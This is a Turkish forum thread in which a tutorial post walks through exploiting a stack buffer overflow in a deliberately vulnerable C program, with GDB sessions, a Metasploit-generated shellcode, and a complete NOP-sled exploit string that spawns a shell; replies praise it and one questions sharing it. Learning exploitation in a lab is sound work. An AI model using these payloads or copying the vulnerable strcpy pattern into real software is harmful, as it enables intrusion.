Bellek Taşması Nedir, Örnek ve Videolu Anlatim

Başlatan 0xdeadbeef, 05 Temmuz 2013 - 21:45:29

« önceki - sonraki »

0 Üyeler ve 1 Ziyaretçi konuyu incelemekte.

0xdeadbeef

(Stack buffer ASLR bypass)
Merhaba Arkadaşlar sizlere Bellek  taşması nedir.Nasıl yararlanırız , Örnek ile anlatmaya çalışacağım.

Bilmeniz Gereken Temel Bilgiler:

1-)Dökümanı anlamak için ilk önce yüzeysel olarak C/C++, Assembly bilmeniz gereklidir...
2-)Bellek tasmasinin  arkasındaki kavramı anlama
3-)Exploit  yazmada kullanılan genel terimler
4-)GDB Bilgisi
5-)Temel Metasploit
6-)Exploit Teknikleri

EAX=Accumalator demektir.sistemde performans hesaplanmasında kullanılır.Fonksiyonların cevaplanması durumunda da kullanılır.
EBX=Base demektir.Kendisiyle ayn ismi taşıyan base pointer ile aynı şey değildir..
EDX=Data demektir.EAX register'in alt kompetentidir.
ESP=Stack pointer.Stack'a gönderilen son değeri adresler
EBP=Base pointer.Stack' a gönderilen ilk değeri adresler
ESI=Source index.İndex datanın lokasyonunu korumakta kullanıılır.
EDI=Destination index.Store edilen data dosyalarının lokasyonunu pointerlara iletir.
EIP=Instrunction pointer.Kısace bir sonra ki komutun yerini gösterir.

Buffer: Hafizada ard arda dizili turden veri tipi (int, char)gibi depolayan hafiza blogudur.  C'de bunlar array olarak gecer.
    Diğer bütün veri türleri gibi, array'ler de static yada dinamik olarak sınıflandırılabilirler.  Static değişkenler,
program hafızaya yüklenirken,programın "data segment"ine yerleştirilir, dinamik değişkenler ise, program halihazırda çalışırken,
dinamik olarak "stack" dediğimiz hafıza da program için hazırlanmış özel bölümde yaratılıp, yokedilirler.  İşte bellek tasmasi
dediğimiz olay da, bu dinamik değişkenlerin taşiyabilecekleri veri miktarindan fazlasını yükleyerek değişken'in sınırlarını
aşmadir.

Bellek Tasmasinin  Amaçı: Programa ait işlenen komutu bıraktırıp, saldırıyı yapan kişinin shellcode'nda verdiği komutları
çalıştırmasını sağlamaktır.

Shellcode: Saldırganın istediği işlemleri yaptırmasını sağlayan kodlar bulunur.
   Buffer Overflow ile hafıza taşması yaşayan program çöker ,işte tam bu anda işlemcinin stack fonksiyonunun doğru dönüş
adresi yerine ,yanlış bir adres alması ile saldırganın hedefi ele geçirebilmesi için gereken kodlar çalıştırılmaya başlanır.

Stack olarak adlandırılan, dinamik değişkenlerin (veya C jargonunda otomatik değişkenlerin) kendisinde oluşturulduğu,
JMP, CALL gibi fonksiyon cağrılarının geri dönüs adreslerinin de geçici olarak saklandığı bölgedir.
ASLR:(Adress Space Layout Randomization)Kısaca adresleme bölümünün düzenlenmesini rastgele hale getirir.
ASLR korumasını kontrol etmek için
cat /proc/sys/kernel/randomize_va_space
2

   Evet çıktımzı iki olarak aldık peki "2" ne demek? şöyle açıklayalım paronayak seviyesi "0"  ise zaten kapalı demek.
   Linux sistemler de bellek taşmasını engellemek için Exec Shield diye bir yama geliştirildi ve yama sayesinde data bölümü, stack çöplüğümüz gibi bölümler çalıştıralamaz(non-executable) olarak işaretlendi.İşte bu önlemin adı Never execute(NX) hiçbir zaman çalıştırma olarak belirtilir.

Stack çöplüğündeki kodların okuma,yazma ve çalıştırma haklarının bir diğer kontrol yöntemi
objdump -x shell | grep STACK -A 1
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags "rwx"

"rwx" olarak gördük peki nedemek istemiş açıklayalım.Oku,yaz ve çalıştır.Eğer "rw-"olsaydı sadece oku ve yazmak olcaktır.

Şimdide bir örnekle daha iyi anlamaya çalışalım...

Örnek Kodumuz

//dosya adi shell.c
#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
char buffer[1000];
strcpy(buffer, input);
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}

$ gcc -ggdb -o shell -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 shell.c

Komutu ile derliyoruz...Kısaca komutu söyle açıklıyalım koruma devreleri iptal(Disable) ediyoruz...
Not:Bu şekilde derlememizde ki asıl amaç mevcut çekirdeklerde bazı korumalar yüzünden "stack" çöplüğünde bulunan kodları çalıştıramayız ve Parçalanma arızası(Segmentation fault) hatası alırız.

Gdb yardımı ile Buffer overflow tespit edeceğiz


$ gdb -q ./shell
Reading symbols from /home/wolf/Desktop/shell...done.
(gdb) run `perl -e 'print "A"x1007'`
Starting program: /home/wolf/Desktop/shell `perl -e 'print "A"x1007'`

Program received signal SIGSEGV, Segmentation fault.
"0x00414141" in ?? ()

Not="A"x1007' açıklayalım
"A"x1007  ne demek istemişiz."A" harfini programa 1007 tane ardı ardına gir diyoruz kısaca.


(gdb) run `perl -e 'print "A"x1008'`
Starting program: /home/wolf/Desktop/shell `perl -e 'print "A"x1008'`

Program received signal SIGSEGV, Segmentation fault.
"0x41414141" in ?? ()
(gdb) info registers
eax            0xbfffecf4 -1073746700
ecx            0x0 0
edx            0x3f0 1008
ebx            0xb7fc1ff4 -1208213516
esp            0xbffff0e4 0xbffff0e4
ebp            0x41414141 0x41414141
esi            0x0 0
edi            0x0 0
eip            "0x414141" 0x414141
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Görüldüğü gibi , uygulamaya uzun bir veri girdiğimizde uygulama iflas etmekte ve başarıyla "EIP" üzerine yazılmakta.

Şimdi main ve evilfunction fonksiyonlarına bir göz atarak başlayalım...


(gdb) disassemble main
Dump of assembler code for function main:
   0x0804843c <+0>: push   %ebp
   0x0804843d <+1>: mov    %esp,%ebp
   0x0804843f <+3>: sub    $0x4,%esp
   0x08048442 <+6>: mov    0xc(%ebp),%eax
   0x08048445 <+9>: add    $0x4,%eax
   0x08048448 <+12>: mov    (%eax),%eax
   0x0804844a <+14>: mov    %eax,(%esp)
   0x0804844d <+17>: call   0x804841c <evilfunction>
   0x08048452 <+22>: mov    $0x0,%eax
   0x08048457 <+27>: leave 
   0x08048458 <+28>: ret   
End of assembler dump.

Bu  arada programımızın kırılma noktalarını  ayarlayalım. ilk yerimiz 0x0804844d (evilfunction) ikinci bir dönüş adresi 0x08048458


(gdb) break *0x0804844d
Breakpoint 1 at 0x804844d: file shell.c, line 10.
(gdb) break *0x08048458
Breakpoint 2 at 0x8048458: file shell.c, line 12.
(gdb) disassemble 0x804841c
Dump of assembler code for function evilfunction:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0x3f0,%esp
   0x08048425 <+9>: mov    0x8(%ebp),%eax
   0x08048428 <+12>: mov    %eax,0x4(%esp)
   0x0804842c <+16>: lea    -0x3e8(%ebp),%eax
   0x08048432 <+22>: mov    %eax,(%esp)
   0x08048435 <+25>: call   0x8048300 <strcpy@plt>
   0x0804843a <+30>: leave 
   0x0804843b <+31>: ret   
End of assembler dump.
(gdb) break *0x0804843b
Breakpoint 3 at 0x804843b: file shell.c, line 8.

Tüm kırılma noktalarını ayarladıktan sonra çalıştıracagımız kodlardan sonra neler olup bittiğine bir bakalım...

(gdb) run `perl -e 'print "A"x1004 . "B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/wolf/Desktop/shell `perl -e 'print "A"x1004 . "B"x4'`

Breakpoint 1, 0x0804844d in main (argc=2, argv=0xbffff194) at shell.c:11
11 evilfunction(argv[1]);
(gdb) stepi
evilfunction (input=0xbffff2f9 'A' <repeats 200 times>...) at shell.c:5
5 {
(gdb) info registers  esp
esp            0xbffff0e0 0xbffff0e0
(gdb) x /20x $esp - 32
0xbffff0c0: 0x00000002 0xbffff194 0xbffff1a0 0xbffff0e8
0xbffff0d0: 0xb7e927f5 0xb7ff0590 0x0804847b 0xb7fc1ff4
0xbffff0e0: 0x08048452 0xbffff2f9 0xbffff168 0xb7e79e46
0xbffff0f0: 0x00000002 0xbffff194 0xbffff1a0 0xb7fe0860
0xbffff100: 0xb7ff6821 0xffffffff 0xb7ffeff4 0x08048254

Geri dönüş adresi "ESP 0x08048452" ve devam ediyoruz ki neler olduğunu görelim.

(gdb) c
Continuing.

Breakpoint 3, 0x0804843b in evilfunction (
    input=0xbffff200 "\244\376\377\277\320\376\377\277\335\376\377\277?\377\377\277|\377\377\277\211\377\377\277\224\377\377\277\255\377\377\277") at shell.c:8
8 }
(gdb) info registers esp
esp            0xbffff0e0 0xbffff0e0
(gdb) x /20x $esp - 32
0xbffff0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff0e0: "0x42424242" 0xbffff200 0xbffff168 0xb7e79e46
0xbffff0f0: 0x00000002 0xbffff194 0xbffff1a0 0xb7fe0860
0xbffff100: 0xb7ff6821 0xffffffff 0xb7ffeff4 0x08048254

Evet bizim geri dönüş adresi üzerinde oluştu.Uygulamayı çalıştırmaya devam edelim...

Şimdi yapacağımız tampon bulmak ve atlamak:
Şimdi bizim tampon bulmak için kayıtlar üzerine bakmamız gerekiyor...
Not:Biraz arama yaptıktan sonra EAX aslında tampon başlangıcına işaret ettiğini görebiliriz...
İşte bu yüzden EAX bizim tampon başlangımız...

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers eax
eax            0xbfffecf4 -1073746700
(gdb) x /20x $eax - 32
0xbfffecd4: 0x00000002 0xb7edbb70 0x00000000 0x00000000
0xbfffece4: 0xbffff0dc 0x0804843a 0xbfffecf4 0xbffff2f9
0xbfffecf4: "0x41414141" 0x41414141 0x41414141 0x41414141
0xbfffed04: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed14: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)

Şimdi "objdump" komutu ile  "eax"ın adresini bulalım
Not:Video da "msfelfscan" ve "objdump" yardımı ile  "eax" adresini tespit etmiş bulunmaktayız...
Not:Sadece call,eax adresini bulmak isterseniz.Komutu şu şekilde düzenleyebilirsiz (objdump -d shell | grep "ff d0")

$ objdump -d shell | grep "eax"
80482de: 58                    pop    %eax
80482fc: 00 00                add    %al,(%eax)
8048338: 50                    push   %eax
8048360: b8 b7 96 04 08        mov    $0x80496b7,%eax
8048365: 2d b4 96 04 08        sub    $0x80496b4,%eax
804836a: 83 f8 06              cmp    $0x6,%eax
8048371: b8 00 00 00 00        mov    $0x0,%eax
8048376: 85 c0                test   %eax,%eax
"8048387: ff d0                call   *%eax"
8048390: b8 b4 96 04 08        mov    $0x80496b4,%eax
8048395: 2d b4 96 04 08        sub    $0x80496b4,%eax
804839a: c1 f8 02              sar    $0x2,%eax
804839d: 89 c2                mov    %eax,%edx
80483a2: 01 d0                add    %edx,%eax
80483a4: d1 f8                sar    %eax
80483b9: 89 44 24 04          mov    %eax,0x4(%esp)
80483f0: a1 9c 95 04 08        mov    0x804959c,%eax
80483f5: 85 c0                test   %eax,%eax
80483f9: b8 00 00 00 00        mov    $0x0,%eax
80483fe: 85 c0                test   %eax,%eax
804840f: ff d0                call   *%eax
8048425: 8b 45 08              mov    0x8(%ebp),%eax
8048428: 89 44 24 04          mov    %eax,0x4(%esp)
804842c: 8d 85 18 fc ff ff    lea    -0x3e8(%ebp),%eax
8048432: 89 04 24              mov    %eax,(%esp)
8048442: 8b 45 0c              mov    0xc(%ebp),%eax
8048445: 83 c0 04              add    $0x4,%eax
8048448: 8b 00                mov    (%eax),%eax
804844a: 89 04 24              mov    %eax,(%esp)
8048452: b8 00 00 00 00        mov    $0x0,%eax
804848f: 8d 83 00 ff ff ff    lea    -0x100(%ebx),%eax
8048495: 29 c7                sub    %eax,%edi
80484a0: 8b 45 10              mov    0x10(%ebp),%eax
80484a3: 89 44 24 08          mov    %eax,0x8(%esp)
80484a7: 8b 45 0c              mov    0xc(%ebp),%eax
80484aa: 89 44 24 04          mov    %eax,0x4(%esp)
80484ae: 8b 45 08              mov    0x8(%ebp),%eax
80484b1: 89 04 24              mov    %eax,(%esp)


Exploit Yazmak
Şimdi istismar yapısınla oynamak için şöyle * bir şey bakacağız..
NOPS(90) +  ShellCode + NOPS(90) + 08048387(call eax)

$ msfpayload linux/x86/exec O

Payload Bilgilerimiz:

       Name: Linux Execute Command
     Module: payload/linux/x86/exec
    Version: 0
   Platform: Linux
       Arch: x86
Needs Admin: No
Total size: 143
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command

Evet "msfpayload" kullanarak shellcode'muzu oluşturalım...

Kötü karekterimiz = "\x00\x0a\x0d"
Not:kötü karekterimiz nedir bu konuya da bir açıklama getirelim:
"\x00" Bu karakter C programlama dilinde bir dize sonlandırıcı olarak kabul edilir ve bir tampon içine dahil edildiğinde bir istismar kırılma etkisi vardır...
"\x0a" ve "\x0d" satır besleme ve satırbaşı karekterlerini önlemek için kullanılır.

$ msfpayload linux/x86/exec CMD=dash R | msfencode -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -t c
[*] x86/alpha_mixed succeeded with size 141 (iteration=1)

unsigned char buf[] =
"\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51"
"\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d"
"\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78\x33"
"\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43"
"\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35"
"\x31\x64\x33\x51\x78\x65\x50\x63\x67\x62\x73\x6e\x69\x38\x61"
"\x6a\x6d\x4d\x50\x41\x41";


Evet shellcode'muz 141 bytes olarak aldık...
Şimdi bir de kontrol edelim bakalım shellcode'muz gerçekten çalışıyor mu?
Not:Bu yöntem genelde kendi yazdığımız shellcodelari kontrol etmek için kullanılır..(Bilgilendirme amaçlı burada kullanılmıştır.)

#include <stdio.h>

char shellcode[] =
"\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x51"
"\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d"
"\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78\x33"
"\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43"
"\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35"
"\x31\x64\x33\x51\x78\x65\x50\x63\x67\x62\x73\x6e\x69\x38\x61"
"\x6a\x6d\x4d\x50\x41\x41";
int main()
{
(*(void (*)()) shellcode)();
}

Şimdi düzenlememizi yaptık birde derleyelim ve çalıştıralım
# gcc -o shellcode -fno-stack-protector -z execstack shellcode.c
# ./shellcode
$ id
uid=1000(wolf) gid=1000(wolf) groups=1000(wolf)

Evet shellcode'muz da çalışıyor..

NOPS (90) x401 . ShellCode (141 bytes) . NOPS (90) x462 . 08048387 (call eax )

Evet şimdi düzenlememizi yaparak istismar kodumuzu çalıştırıyoruz...

(gdb) run `perl -e 'print "\x90"x401 . "\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a
\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58
\x50\x38\x41\x42\x75\x4a\x49\x51\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78
\x33\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35\x31\x64\x33\x51\x78\x65
\x50\x63\x67\x62\x73\x6e\x69\x38\x61\x6a\x6d\x4d\x50\x41\x41" . "\x90"x462 . "\x87\x83\x04\x08"'`
Starting program: /home/wolf/Desktop/shell `perl -e 'print "\x90"x401 . "\x89\xe0\xd9\xe1\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a
\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58
\x50\x38\x41\x42\x75\x4a\x49\x51\x7a\x66\x6b\x73\x68\x6d\x49\x66\x32\x30\x66\x52\x48\x56\x4d\x72\x43\x6b\x39\x7a\x47\x35\x38\x46\x4f\x74\x33\x51\x78
\x33\x30\x52\x48\x44\x6f\x43\x52\x61\x79\x70\x6e\x6e\x69\x4a\x43\x52\x72\x4b\x58\x36\x65\x45\x50\x65\x50\x35\x50\x33\x54\x35\x31\x64\x33\x51\x78\x65
\x50\x63\x67\x62\x73\x6e\x69\x38\x61\x6a\x6d\x4d\x50\x41\x41" . "\x90"x462 . "\x87\x83\x04\x08"'`
process 19093 is executing new program: /bin/dash
$ id
uid=1000(wolf) gid=1000(wolf) groups=1000(wolf)

Evet başarılı olduk...
Video İndirme adresi:
http://dosya.co/download.php?id=51D7143C1




Amac balik vermek degil, balik tutmasini ogretmek...

freeman

#1
Güzel bir yazı olmuş.
Good morning and welcome to the Black Mesa Transit System. This automated train is provided for the security and convenience of the Black Mesa Research Facility personnel.

Unicode

Harika bir konu gerçekten arka planda neler dönüyormuş öyle. ???

7hr33l3t73r

dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

sem

Yani emek için teşekkürler, tedbir alınabilmesi için mi paylaşıldı bilemiyorum... Tabi normalde bu gibi paylaşımlarda bulunmuyoruz.
".NET çemberinden geçen lirisist etkisi bir 'Volcano', bir yüzüm Java bir yüzüm Badalamenti Don Tano"
----------------------------------------------------------------------------------------------------------------------
"Her yer ölüm yine, burası dünya
Derken ölüm bile bu nasıl dünya?
Benden ölüm dile, batıyor gün yine
Burası dünya?

Reverser

Alıntı yapılan: sem - 28 Mayıs 2014 - 22:35:57
Yani emek için teşekkürler, tedbir alınabilmesi için mi paylaşıldı bilemiyorum... Tabi normalde bu gibi paylaşımlarda bulunmuyoruz.

Merhaba, güzel bir anlatım türkçe kaynak bufferoverlow konusunda neredeyse yok ayrıca, bu programların linux ortamında derlenmesi ve execute edilmesi için compiler'ın kullandığı flagler var konu da bu paylaşılmamış olduğundan sorun teşkil edeceğini sanmıyorum :)

XFCE ROCKS !
Powered by Thunar & XFWM4